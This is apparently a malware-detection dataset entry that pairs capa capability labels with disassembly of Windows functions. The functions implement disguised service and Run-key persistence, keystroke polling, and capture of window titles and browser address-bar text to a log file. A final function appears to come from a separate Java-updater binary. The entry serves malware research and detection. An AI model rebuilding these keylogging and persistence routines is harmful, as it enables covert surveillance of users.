joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4109d0
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0041a0a0
add esp, 0xc
xor ecx, ecx
movzx eax, word [ecx + str.C:ProgramDataMicrosoftDRM]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x20e], ax
test ax, ax
jne 0x410a03
push edi
lea edi, [ebp - 0x20c]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x410a24
mov eax, dword [0x434f7c]
lea ecx, [ebp - 0x20c]
add ecx, 0xfffffffe
mov dword [edi], eax
cmp dword [0x43a7ac], 0
je 0x410a90
lea esp, [esp]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x410a50
mov eax, dword [str.SiteAdv.exe]
mov dword [ecx], eax
mov eax, dword [0x4354ac]
mov dword [ecx + 4], eax
mov eax, dword [0x4354b0]
mov dword [ecx + 8], eax
mov eax, dword [0x4354b4]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4354b8]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4354bc]
mov dword [ecx + 0x14], eax
jmp 0x410ac3
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x410a90
mov eax, dword [str.stool.exe]
mov dword [ecx], eax
mov eax, dword [0x43548c]
mov dword [ecx + 4], eax
mov eax, dword [0x435490]
mov dword [ecx + 8], eax
mov eax, dword [0x435494]
mov dword [ecx + 0xc], eax
mov eax, dword [0x435498]
mov dword [ecx + 0x10], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
jne 0x410ae7
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
push esi
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 1
push 2
push 0x110
push 0xf01ff
push str.Windows_Management_Server
push 0x43a8b4
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, eax
test esi, esi
jne 0x410b37
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
push 0x800
call fcn.00415a62
add esp, 4
mov dword [ebp - 0x210], eax
test eax, eax
je 0x410b82
mov edx, str.Provides_a_common_interface_and_object_model_to_access_management_information
movzx ecx, word [edx]
lea edx, [edx + 2]
mov word [eax], cx
lea eax, [eax + 2]
test cx, cx
jne 0x410b53
lea eax, [ebp - 0x210]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0x210]
call fcn.004165be
add esp, 4
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop esi
xor ecx, ebp
pop edi
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x410bb0
Capabilities:
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x270
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0041a0a0
add esp, 0xc
xor ecx, ecx
movzx eax, word [ecx + str.C:ProgramDataMicrosoftDRM]
lea ecx, [ecx + 2]
mov word [ebp + ecx - 0x212], ax
test ax, ax
jne 0x410be5
lea edi, [ebp - 0x210]
add edi, 0xfffffffe
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x410c05
mov eax, dword [0x434f7c]
lea ecx, [ebp - 0x210]
add ecx, 0xfffffffe
mov dword [edi], eax
cmp dword [0x43a7ac], 0
je 0x410c70
lea ebx, [ebx]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x410c30
mov eax, dword [str.SiteAdv.exe]
mov dword [ecx], eax
mov eax, dword [0x4354ac]
mov dword [ecx + 4], eax
mov eax, dword [0x4354b0]
mov dword [ecx + 8], eax
mov eax, dword [0x4354b4]
mov dword [ecx + 0xc], eax
mov eax, dword [0x4354b8]
mov dword [ecx + 0x10], eax
mov eax, dword [0x4354bc]
mov dword [ecx + 0x14], eax
jmp 0x410ca3
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x410c70
mov eax, dword [str.stool.exe]
mov dword [ecx], eax
mov eax, dword [0x43548c]
mov dword [ecx + 4], eax
mov eax, dword [0x435490]
mov dword [ecx + 8], eax
mov eax, dword [0x435494]
mov dword [ecx + 0xc], eax
mov eax, dword [0x435498]
mov dword [ecx + 0x10], eax
lea esi, [ebp - 0x210]
lea ecx, [esi + 2]
lea esp, [esp]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x410cb0
lea eax, [ebp - 0x214]
sub esi, ecx
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
sar esi, 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410d15
lea eax, [esi*2 + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.winmgmt
push dword [ebp - 0x214]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x214]
test eax, eax
je 0x410d27
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40
lea eax, [ebp - 0x26c]
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
mov dword [ebp - 0x270], 0x44
lea eax, [ebp - 0x224]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x224], xmm0
push eax
lea eax, [ebp - 0x270]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x410d15
push dword [ebp - 0x224]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x220]
call esi
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
xor ecx, ebp
pop esi
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x410e00
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x414], ax
lea eax, [ebp - 0x412]
push eax
call fcn.0041a0a0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0041a0a0
add esp, 0x18
mov dword [ebp - 0x420], 0x104
lea eax, [ebp - 0x20c]
mov dword [ebp - 0x41c], 1
push 0x208
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x418]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x410ee7
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x41c]
push eax
push 0
push str.winmgmt
push dword [ebp - 0x418]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 0x418]
test eax, eax
jne 0x410ee1
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x4136e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov esi, ecx
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x20c]
xor ebx, ebx
push eax
push 0x208
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [ebp - 0x20c], bx
je 0x413792
lea ecx, [ebp - 0x208]
sub ecx, esi
lea eax, [ebp - 0x20c]
sub esi, eax
mov dword [ebp - 0x210], ecx
mov dword [ebp - 0x214], esi
push edi
nop
lea eax, [esi + ebx]
lea edi, [ebp - 0x20c]
add edi, eax
lea esi, [ebp - 0x20c]
xor eax, eax
add esi, ebx
push esi
mov word [edi + ecx], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [esi]
add ebx, 8
mov esi, dword [ebp - 0x214]
mov dword [edi + 4], ecx
mov ecx, dword [ebp - 0x210]
cmp word [ebp + ebx - 0x20c], 0
mov dword [edi], eax
jne 0x413750
pop edi
mov ecx, dword [ebp - 4]
mov eax, ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret

Function at 0x4137b0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
mov esi, ecx
push 0
push eax
call fcn.0041a0a0
add esp, 0xc
mov dword [ebp - 0x58], 0x44
lea eax, [ebp - 0x10]
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x413a20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
push 2
push 4
push 0
push 3
push 0x40000000
lea eax, [ecx + 0x81c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x413a80
push edi
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [ebp + 8]
mov ecx, edx
lea edi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413a60
push 0
lea eax, [ebp - 4]
sub ecx, edi
push eax
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4
Function at 0x413d60
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x18], 0
push eax
push str.SOFTWAREMicrosoftInternet_Explorer
xorps xmm0, xmm0
mov word [ebp - 7], 0
push 0x80000002
movdqu xmmword [ebp - 0x17], xmm0
mov byte [ebp - 5], 0
mov dword [ebp - 0x20], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push str.Version
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x413ddb
lea eax, [ebp - 0x18]
push eax
call fcn.00417046
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret

Function at 0x413ea0
Capabilities:
Find graphical window
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
lea eax, [ebp - 0x103]
push esi
mov esi, dword [ebp + 8]
push 0xff
push 0
push eax
mov byte [ebp - 0x104], 0
call fcn.0041a0a0
add esp, 0xc
lea eax, [ebp - 0x104]
push 0x80
push eax
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [ebp - 0x104]
push str.IEFrame
push eax
call fcn.00429f47
add esp, 8
test eax, eax
jne 0x413fbe
push edi
push eax
push str.WorkerW
push eax
push esi
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
call esi
test eax, eax
je 0x413fa9
push 0
push str.ReBarWindow32
push 0
push eax
call esi
mov edi, eax
test edi, edi
je 0x413fa9
call fcn.00413d60
cmp eax, 8
jl 0x413f54
push 0
push str.Address_Band_Root
push 0
push edi
call esi
push 0
push str.Edit
push 0
push eax
jmp 0x413f80
cmp eax, 7
jne 0x413f71
push 0
push str.Address_Band_Root
push 0
push edi
call esi
push 0
push str.ComboBoxEx32
push 0
push eax
jmp 0x413f80
cmp eax, 6
jne 0x413fa9
push 0
push str.ComboBoxEx32
push 0
push edi
call esi
push ebx
push 0xff
push 0xd
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret 8
lea eax, [ebp - 0x104]
push str.Chrome_WidgetWin_1
push eax
call fcn.00429f47
add esp, 8
test eax, eax
jne 0x41400e
push eax
push str.Chrome_OmniboxView
push eax
push esi
call dword [sym.imp.USER32.dll_FindWindowExA]
test eax, eax
je 0x41400e
push ebx
push 0xff
push 0xd
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret 8
Function at 0x414030
Capabilities:
Get graphical window text
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1868
call fcn.00424fa0
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x824
lea eax, [ebp - 0x102b]
mov byte [ebp - 0x102c], 0
push 0
push eax
mov esi, ecx
call fcn.0041a0a0
push 0x7fc
lea eax, [ebp - 0x803]
mov byte [ebp - 0x804], 0
push 0
push eax
call fcn.0041a0a0
push 0x822
lea eax, [ebp - 0x184f]
mov byte [ebp - 0x1850], 0
push 0
push eax
call fcn.0041a0a0
add esp, 0x24
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov ebx, eax
push ebx
call fcn.00413df0
mov edi, eax
lea eax, [ebp - 0x804]
push 0x7fc
push eax
push ebx
mov dword [ebp - 0x1864], edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
cmp ebx, dword [esi + 8]
jne 0x414114
test edi, edi
jle 0x414101
lea ecx, [ebp - 0x804]
lea eax, [esi + 0xc]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x4140f8
test dl, dl
je 0x4140f4
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x4140f8
add eax, 2
add ecx, 2
test dl, dl
jne 0x4140d8
xor eax, eax
jmp 0x4140fd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x414114
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x804]
mov dword [esi + 0x80c], 0
lea edx, [esi + 0xc]
mov dword [esi + 8], ebx
mov eax, ecx
sub edx, eax
mov edi, edi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x414130
lea eax, [ebp - 0x1860]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x7fc
lea eax, [ebp - 0x804]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x804]
push eax
movzx eax, word [ebp - 0x1854]
push eax
movzx eax, word [ebp - 0x1856]
push eax
movzx eax, word [ebp - 0x1858]
push eax
movzx eax, word [ebp - 0x1860]
push eax
movzx eax, word [ebp - 0x185a]
push eax
movzx eax, word [ebp - 0x185e]
push eax
lea eax, [ebp - 0x102c]
push str._r_n_r_n__02d__02d__d__02d:_02d:_02d____s__r_n
push eax
call fcn.004165f4
add esp, 0x24
lea eax, [esi + 0x81c]
push 0
push 2
push 4
push 0
push 3
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x414209
push 2
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [ebp - 0x102c]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4141e1
push 0
lea eax, [ebp - 0x1868]
sub ecx, edx
push eax
push ecx
lea eax, [ebp - 0x102c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x1864], 0
jle 0x414245
lea eax, [ebp - 0x1850]
push eax
push ebx
call fcn.00413ea0
push 0x4353e0
mov ecx, esi
call fcn.00413a20
lea eax, [ebp - 0x1850]
mov ecx, esi
push eax
call fcn.00413a20
push 0x435684
mov ecx, esi
call fcn.00413a20
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x4142e0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push 0x10
mov edi, ecx
call dword [sym.imp.USER32.dll_GetKeyState]
push 0x14
movzx ebx, ax
call dword [sym.imp.USER32.dll_GetKeyState]
mov edx, dword [ebp + 8]
movzx ecx, ax
cmp dx, 0x10
je 0x4143f1
cmp dx, 0x14
je 0x4143f1
lea eax, [edx - 0x41]
cmp ax, 0x19
ja 0x41439a
and ecx, 1
je 0x41432a
test ebx, 0x8000
je 0x414337
test cx, cx
jne 0x414377
test ebx, 0x8000
je 0x414377
xor ecx, ecx
xor eax, eax
jmp 0x414340
cmp dx, word [eax + 0x43b4f0]
je 0x41435a
add eax, 0xc
inc ecx
cmp eax, 0x594
jb 0x414340
pop edi
pop ebx
pop ebp
ret 4
lea eax, [ecx + ecx*2]
mov ecx, edi
push dword [eax*4 + 0x43b4f8]
call fcn.00413a20
inc dword [edi + 0x80c]
pop edi
pop ebx
pop ebp
ret 4
xor ecx, ecx
xor eax, eax
jmp 0x414380
cmp dx, word [eax + 0x43b4f0]
je 0x4143da
add eax, 0xc
inc ecx
cmp eax, 0x594
jb 0x414380
pop edi
pop ebx
pop ebp
ret 4
xor ecx, ecx
xor eax, eax
test ebx, 0x8000
je 0x4143c0
cmp dx, word [eax + 0x43b4f0]
je 0x41435a
add eax, 0xc
inc ecx
cmp eax, 0x594
jb 0x4143a6
pop edi
pop ebx
pop ebp
ret 4
cmp dx, word [eax + 0x43b4f0]
je 0x4143da
add eax, 0xc
inc ecx
cmp eax, 0x594
jb 0x4143c0
pop edi
pop ebx
pop ebp
ret 4
lea eax, [ecx + ecx*2]
mov ecx, edi
push dword [eax*4 + 0x43b4f4]
call fcn.00413a20
inc dword [edi + 0x80c]
pop edi
pop ebx
pop ebp
ret 4

Function at 0x414a20
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0xa30]
mov esi, dword [eax]
cmp esi, eax
je 0x414a57
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [esi + 8]
test eax, eax
je 0x414a4c
push 4
push eax
call ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esi]
cmp esi, dword [edi + 0xa30]
jne 0x414a37
pop ebx
mov eax, dword [edi + 0xa30]
mov ecx, dword [eax]
mov dword [eax], eax
mov eax, dword [edi + 0xa30]
mov dword [eax + 4], eax
mov dword [edi + 0xa34], 0
cmp ecx, dword [edi + 0xa30]
je 0x414a95
lea esp, [esp]
mov esi, dword [ecx]
push ecx
call fcn.00415bcd
add esp, 4
mov ecx, esi
cmp esi, dword [edi + 0xa30]
jne 0x414a80
pop edi
mov eax, 1
pop esi
ret
Function at 0x414e60
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
mov edi, ecx
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.0041a0a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
lea edx, [ebp - 0x20c]
mov ecx, esi
call fcn.0040ce60
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x20c]
push eax
call fcn.00416faa
add esp, 4
lea eax, [ebp - 0x20c]
mov ecx, str.system
jmp 0x414ee0
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x414f06
test dx, dx
je 0x414f02
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x414f06
add eax, 4
add ecx, 4
test dx, dx
jne 0x414ee0
xor eax, eax
jmp 0x414f0b
sbb eax, eax
or eax, 1
push 0
push 0
test eax, eax
jne 0x414f50
push edi
push 0x4147a0
lea esp, [esp]
push 0
push 0
mov dword [edi + 0xa24], 1
call fcn.004171d1
add esp, 0x18
mov dword [edi + 0xa38], eax
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415b03
mov esp, ebp
pop ebp
ret 4
mov eax, dword [0x43d110]
cmp dword [eax + 0x1d14], 0
lea eax, [edi + 0x81c]
push eax
push 0x414540
je 0x414f20
push 0
push 0
mov dword [edi + 0xa24], 1
call fcn.004171d1
add esp, 0x18
push eax
call esi
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop esi
call fcn.00415b03
mov esp, ebp
pop ebp
ret 4
Function at 0x426323
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4395ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00419d25
mov dword [ebp - 0x14], eax
cmp dword [0x43d0f0], esi
jne 0x426416
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x4263a3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x4264f6
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x4264f6
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4264f6
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x43d0f0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x43d0f4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x434b58
push edi
mov dword [0x43d0f8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43d100], eax
test eax, eax
je 0x426413
push 0x434b74
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x43d0fc], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x42643b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x42642e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x426450
push 4
pop eax
jmp 0x4264f8
cmp dword [ebp - 0x14], esi
je 0x426450
push dword [0x43d0f0]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x426435
mov eax, dword [0x43d0fc]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x4264ae
cmp dword [0x43d100], edi
je 0x4264ae
push eax
call ebx
push dword [0x43d100]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x4264ae
test eax, eax
je 0x4264ae
call ecx
test eax, eax
je 0x4264a3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x4264a3
test byte [ebp - 8], 1
jne 0x4264ae
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x4264de
mov eax, dword [0x43d0f4]
cmp eax, edi
je 0x4264db
push eax
call ebx
test eax, eax
je 0x4264db
call eax
mov esi, eax
test esi, esi
je 0x4264db
mov eax, dword [0x43d0f8]
cmp eax, edi
je 0x4264db
push eax
call ebx
test eax, eax
je 0x4264db
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x43d0f0]
call ebx
test eax, eax
je 0x4264f6
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x4264f8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00415b03
mov esp, ebp
pop ebp
ret
Function at 0x404b8f
Capabilities:
Check mutex on windows

Disassembly:
push ebp
lea ebp, [esp - 0x7a8]
sub esp, 0x828
mov eax, dword [0x479630]
xor eax, ebp
mov dword [ebp + 0x7a4], eax
mov eax, dword [ebp + 0x7b0]
push ebx
xor ebx, ebx
push esi
mov esi, ecx
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x80], ebx
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x6c], bl
mov dword [esi], ebx
call fcn.0043a470
mov dword [esi], eax
cmp eax, ebx
jne 0x404be4
push str.ERROR:_ShutdownEvent_handle_is_NULL
call fcn.00417007
pop ecx
mov dword [ebp - 0x60], 0xfffffffe
push dword [ebp - 0x64]
call fcn.0043a470
pop ecx
test eax, eax
jne 0x404c04
push str.jusched_ERROR:_Could_not_open_Policy_key_for_reading
call fcn.00417007
mov dword [ebp - 0x60], 0xfffffffd
jmp 0x404c27
mov eax, dword [ebp - 0x64]
push dword [eax]
call fcn.00404b12
pop ecx
mov dword [esi + 4], eax
cmp eax, ebx
jne 0x404c28
push str.jusched_main:_ERROR_creating_registry_watch_event_notifier
call fcn.00417007
mov dword [ebp - 0x60], 0xfffffffe
pop ecx
push str.SunJavaUpdateSchedulerMutex
push 1
push ebx
mov dword [edi], ebx
call dword [sym.imp.kernel32.dll_CreateMutexA]
mov dword [edi], eax
cmp eax, ebx
jne 0x404c98
call dword [sym.imp.kernel32.dll_GetLastError]
push 0x7ff
mov dword [ebp - 0x60], eax
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], bl
call fcn.0043b8b0
add esp, 0xc
cmp dword [ebp - 0x60], 0xb7
lea eax, [ebp - 0x5c]
jne 0x404c78
push str.Error:_Scheduler_Mutex_already_exists_n
push eax
call dword [sym.imp.user32.dll_wsprintfA]
pop ecx
pop ecx
jmp 0x404c8a
push dword [ebp - 0x60]
push str.Error:_Error_creating_scheduler_mutex:__d_n
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call fcn.00417007
or dword [ebp - 0x60], 0xffffffff
pop ecx
cmp dword [ebp - 0x60], ebx
je 0x404cb7
push dword [edi]
push esi
call fcn.00404b61
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
pop ecx
pop ecx
lea esi, [ebp - 0x80]
mov dword [ebp - 0x7c], eax
call fcn.00414507
mov ecx, dword [ebp + 0x7a4]
mov eax, dword [ebp - 0x60]
pop esi
xor ecx, ebp
pop ebx
call fcn.0043a455
add ebp, 0x7a8
leave
ret